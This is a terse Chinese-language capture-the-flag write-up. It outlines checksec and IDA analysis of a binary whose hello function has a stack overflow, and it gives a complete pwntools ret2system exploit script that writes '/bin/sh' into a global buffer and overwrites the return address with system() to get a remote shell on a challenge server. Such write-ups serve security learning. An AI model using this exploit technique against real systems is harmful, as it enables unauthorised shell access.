題目分析
題目提示
checksec檢查文件保護機制
使用ida查看偽代碼
hello函數存在溢出，與level2類似
信息收集
system地址
name的地址
編寫腳本
from pwn import *
p = remote('111.198.29.45',42844)
#p = process("./pwn006")
binsh = "/bin/sh"
system = 0x8048420
name = 0x804A080
payload = "A"*0x26+"B"*0x4+p32(system)+p32(0)+p32(name)
p.sendlineafter("please tell me your name",binsh)
p.sendlineafter("hello,you can leave some message here:",payload)
p.interactive()
本地測試
靶機測試
